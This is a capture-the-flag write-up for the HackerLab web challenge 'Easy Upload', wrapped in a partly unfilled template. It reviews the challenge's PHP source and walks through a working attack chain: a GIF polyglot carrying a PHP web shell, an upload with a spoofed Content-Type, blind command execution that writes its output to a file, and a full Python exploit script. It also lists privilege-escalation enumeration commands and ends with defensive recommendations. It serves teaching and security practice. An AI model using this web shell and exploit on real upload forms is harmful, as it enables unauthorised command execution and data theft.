Easy Upload
Easy Upload
Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-04 | Status: Solved Techniques: Blind RCE with file-based output exfiltration, GIF polyglot creation (valid GIF header + PHP code), LFI via PHP include() function, MIME type bypass via Content-Type header spoofing
Summary
Task: Web "Easy Upload" — simple file upload. Solution: Basic file upload bypass, extension filtering circumvention.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackerlab| ID:20260104_hackerlab_easy_upload - Tags: rce, lfi, php, file_upload, local_file_inclusion, remote_code_execution, gif_polyglot, mime_type_bypass, blind_rce, include, ob_start, output_buffering, image_upload
- Indicators: PHP include() function processing uploaded files, MIME type validation only (no magic bytes check), ob_start() capturing output (blind execution), Avatar/image upload functionality, Source code provided revealing vulnerability chain
- Source:
20260104_hackerlab_easy_upload.md
Foothold
Vulnerability / Misconfiguration
- Blind RCE with file-based output exfiltration
- GIF polyglot creation (valid GIF header + PHP code)
- LFI via PHP include() function
- MIME type bypass via Content-Type header spoofing
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- Blind RCE with file-based output exfiltration
- GIF polyglot creation (valid GIF header + PHP code)
- LFI via PHP include() function
- MIME type bypass via Content-Type header spoofing
- Tags: rce, lfi, php, file_upload, local_file_inclusion, remote_code_execution, gif_polyglot, mime_type_bypass, blind_rce, include, ob_start, output_buffering, image_upload
Original Writeup
<details><summary>Click to expand original content</summary>Challenge Description
Недавно наткнулся на странный сервис для хранения фотографий. Вроде бы ничего необычного - можно загружать картинки и менять тему оформления. Но что-то подсказывает, что не всё так просто, как кажется на первый взгляд...
Translation: "Recently stumbled upon a strange photo storage service. Nothing unusual - you can upload images and change the theme. But something tells me it's not as simple as it seems..."
Analysis
Source Code Review
The challenge provided source code. Key vulnerability was in UserProfile.php:
public function loadAvatar() {
$avatarPath = "uploads/" . $this->avatar;
if (file_exists($avatarPath)) {
if (preg_match('/^[a-zA-Z0-9_-]+\.(jpg|jpeg|png|gif)$/i', $this->avatar)) {
ob_start();
include($avatarPath); // LFI vulnerability!
$output = ob_get_clean();
return null;
}
}
}
Critical Issue: The include() function executes PHP code inside uploaded files, even if they have image extensions.
Upload Validation Weakness
The upload validation in upload.php only checks MIME type from the HTTP header:
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($file['type'], $allowed_types)) {
die("Invalid file type");
}
Problem: MIME type is client-controlled and easily spoofed. No server-side magic bytes validation.
Blind RCE Challenge
The ob_start() and ob_get_clean() capture all output, making this a blind RCE - we can execute code but can't see the output directly.
Solution
Step 1: Register and Login
Get a valid session cookie for authenticated requests.
Step 2: Create GIF Polyglot
Create a file that is both a valid GIF and contains PHP code:
printf 'GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;<?php file_put_contents("uploads/out.txt",shell_exec($_GET["c"])); ?>' > shell.gif
Breakdown:
GIF89a- Valid GIF header (magic bytes)\x01\x00\x01\x00...- Minimal 1x1 pixel GIF structure<?php ... ?>- PHP code appended after GIF data
Step 3: Upload the Shell
Upload with correct MIME type to bypass validation:
curl -s http://target/upload.php \
-b cookies.txt \
-X POST \
-F "avatar=@shell.gif;type=image/gif"
Step 4: Trigger RCE
Since output is captured by ob_start(), we write results to a file:
# Execute command and write output to file curl -s "http://target/index.php?c=cat+/fl4g.txt" -b cookies.txt # Read the exfiltrated output curl -s "http://target/uploads/out.txt"
Step 5: Get Flag
Flag was located in /fl4g.txt:
CODEBY{REDACTED}
Exploit Script
#!/usr/bin/env python3
import requests
TARGET = "http://target"
s = requests.Session()
# 1. Register and login
s.post(f"{TARGET}/register.php", data={"username": "test", "password": "test"})
s.post(f"{TARGET}/login.php", data={"username": "test", "password": "test"})
# 2. Create GIF polyglot
gif_header = b'GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;'
php_code = b'<?php file_put_contents("uploads/out.txt",shell_exec($_GET["c"])); ?>'
polyglot = gif_header + php_code
# 3. Upload
files = {'avatar': ('shell.gif', polyglot, 'image/gif')}
s.post(f"{TARGET}/upload.php", files=files)
# 4. Trigger RCE
s.get(f"{TARGET}/index.php", params={"c": "cat /fl4g.txt"})
# 5. Read output
flag = s.get(f"{TARGET}/uploads/out.txt").text
print(f"Flag: {flag}")
Key Takeaways
Vulnerability Chain
- Weak Upload Validation - MIME type only, no magic bytes check
- Dangerous include() - Executes PHP in any included file
- Blind RCE - Output buffering requires file-based exfiltration
Defense Recommendations
- Validate magic bytes server-side, not just MIME type
- Never use include() on user-uploaded files
- Use readfile() or file_get_contents() for serving files
- Store uploads outside webroot with randomized names
- Disable PHP execution in upload directories via .htaccess
Key Indicators for This Attack
include()orrequire()on uploaded files- MIME-only validation without magic bytes check
- Image upload functionality with PHP backend
- Output buffering (
ob_start()) suggesting blind execution
References
- PHP File Upload Vulnerabilities
- Polyglot Files
- GIF File Format
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR